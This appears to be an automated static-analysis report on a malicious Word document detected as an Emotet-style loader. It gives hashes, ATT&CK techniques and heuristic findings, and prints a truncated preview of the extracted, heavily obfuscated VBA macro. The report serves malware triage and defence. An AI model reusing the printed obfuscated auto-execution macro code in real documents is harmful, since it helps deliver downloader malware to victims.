Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f3fa8b8751ff5c12…

MALICIOUS

Office (OLE)

178.5 KB Created: 2018-03-23 11:14:00 Authoring application: Microsoft Office Word First seen: 2018-04-12
MD5: 25fc8e3c993a77170b5154578c5dd1c7 SHA-1: 13eec061dbe5cb0eaf90f061b23850abf99e323c SHA-256: f3fa8b8751ff5c127f39d64af4daf0a4bf3797581ac2634a20ab28da8669c8c9
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample is a malicious Office document containing a VBA macro. The macro utilizes CreateObject and an AutoOpen function, indicative of malicious intent. ClamAV detection confirms its malicious nature, identifying it as Emodldr. The macro's primary function appears to be downloading and executing a second-stage payload, as suggested by the 'Ingress Tool Transfer' technique.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 47643 bytes
SHA-256: 2c211702ab634d7e4a22fd106da79c32444cee646d70462195adb346d2b0c8b3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 20 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "mJWqABWvBqW"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "zGPBiUl"
Function ncRGrsFSaSdto()
On Error Resume Next
Select Case rWNDu
         Case 76781
            ifOlh = Hex(7504 - CSng(54711) - 5177 + ChrW(jDmNZ))
            DldYcm = AMrkq
End Select
SvDXIIz = RaqSnZ("If.s7bjAGEANABjADMANABkAGMAMQA5ADAAMAA4AGMAOQBmADYAOQBmAGIANAA2ADgAZABlADcAMQAyADIAZQBmAGEAZQBjADEAZQA0ADYAMQA3AGUAMAA0AGEAYwA2XK", 7, 121)
Select Case bwXBcO
         Case 77531
            hVUAiR = Hex(16939 - CSng(23866) - 11848 + ChrW(VuDSb))
            VLNZf = uzNla
End Select
Select Case hzHmGk
         Case 3237
            VwYWmj = Hex(37229 - CSng(45506) - 74467 + ChrW(IVfOTO))
            FsRpi = Gzjpt
End Select
mmMwHnzB = RaqSnZ("j0%jdBjADEAOAA5ADkAMgBlAGQAZAAwAGYAZgAyAGMAOQA2ADAANAAxADYAMgA5czc", 6, 58)
Select Case kGEnwO
         Case 98129
            tzWoU = Hex(553 - CSng(31015) - 4879 + ChrW(BTfsZB))
            kzrwRX = qZfCZ
End Select
Select Case FLDCP
         Case 5942
            suTJt = Hex(50441 - CSng(18381) - 35843 + ChrW(DIFWH))
            iqtNLk = vwjOHH
End Select
WMKqIfMCiCR = RaqSnZ("J4hDkAYgBhADUANAAwADAAMgA3ADEAMgBmAGIANgAxADMAOAAwADIAYwBjAGQAOAAwADAAMAA1ADMAMABlADgAZAAxADcAYgA1AGQAYH74E", 4, 100)
Select Case QJQpM
         Case 97239
            RSYvms = Hex(60621 - CSng(18452) - 47507 + ChrW(ZwicMJ))
            sXOzW = iSCCvt
End Select
Select Case MjdJS
         Case 46884
            RETJar = Hex(42552 - CSng(11033) - 82377 + ChrW(PjoGMt))
            cDqHcP = mnihvq
End Select
aKcfSdppCPA = RaqSnZ("PLSDUAYQA2AGEAZgA0ADgANQBkADgAOQA5AGYAYwAwAGIAOQA2ADQAZgA0AGUAMgAxADYAYQBku%o", 4, 71)
Select Case GjbQX
         Case 43154
            cWAkEj = Hex(10319 - CSng(6992) - 75811 + ChrW(znzjP))
            opofXm = oKAjI
End Select
Select Case HVKdv
         Case 37149
            UEZww = Hex(61749 - CSng(91365) - 99262 + ChrW(ClBVN))
            VwWKE = kiJKB
End Select
uRlBLBff = RaqSnZ(".HANwBjAGIANQA1AGMAMgBlADgAZABjADUANAA3ADAANwAwADAANAAxADYAMABlAGYAMgA5AGIAM34oh4zB", 3, 74)
Select Case zECdk
         Case 52113
            CaWYk = Hex(11353 - CSng(76000) - 51284 + ChrW(WGviv))
            AOGkOr = WPlwXw
End Select
Select Case wCSPK
         Case 36606
            tQNZro = Hex(77390 - CSng(94309) - 7965 + ChrW(TsdJD))
            LVARz = bTfGo
End Select
wzdXDE = RaqSnZ("8K8QAZAA4ADkAOAA0AGMAZQA5ADYANwAxAGQANgA5ADkAZgBmADEAZABjADkAN7z8", 4, 59)
Select Case wjwnY
         Case 76759
            VlwkQu = Hex(31598 - CSng(86016) - 76100 + ChrW(lNsujH))
            JCvcpu = lAawVI
End Select
Select Case uDrdQi
         Case 54381
            GMLki = Hex(51716 - CSng(6952) - 39998 + ChrW(rIChYF))
            zFsoUY = BLLJwF
End Select
tjsRsJsfa = RaqSnZ("HDVotAAZgAyADUAYQBhADAANAA1ADgAYQA4AGMANgBlAGMANQAyADYAMAAxADIANwA4ADYANgAzADUANQA2AGMAZgAxAGUAYQAyAGEAZAA4ADIAMgBmADIAYQBkADYAYgA4AbHlL", 6, 127)
Select Case YZRFf
         Case 14089
            iVhWIt = Hex(44949 - CSng(96181) - 36600 + ChrW(WzNdL))
            nkhXKZ = REPGT
End Select
Select Case zwdZY
         Case 89249
            NVWzSc = Hex(34954 - CSng(68460) - 69966 + ChrW(qwfUE))
            sSWWU = HfWiw
End Select
zYzMj = RaqSnZ("O,r9ljAA0ADkANwA4ADgAZABlADcANgA1ADAANQBlADgAMgBiADcANwAwADgAZgBhADUANQA2ADIANAAwADIAMgBjAGYANQA1AGMAMwAxADAAMwAwADcANwBjADAAMgAyADMAOQBhADcAMwA1AGIANgBjADYAZgA0ADIA5Ga", 7, 159)
Select Case wlhsl
         Case 15202
            zWPWiT = Hex(49475 - CSng(33248) - 90467 + ChrW(ointnk))
            BXSLO = bkdJlz
End Select
Select Case oEcJt
         Case 29035
            sSAjav = Hex(2745 - CSng(70214) - 29498 + ChrW(Ttpjd))
            NuTBcc = IzPow
End Select
pkNYmqz = RaqSnZ("SM@wnHADUAYwAzADcAZABlADMAMABhAGIAZgAxADAAZQA5ADMAMgAyADYAMgAwADMAMQA0ADQAYQBiADAAOQBmADUAYQBkADQAZgBhADUAMABmn
... (truncated)

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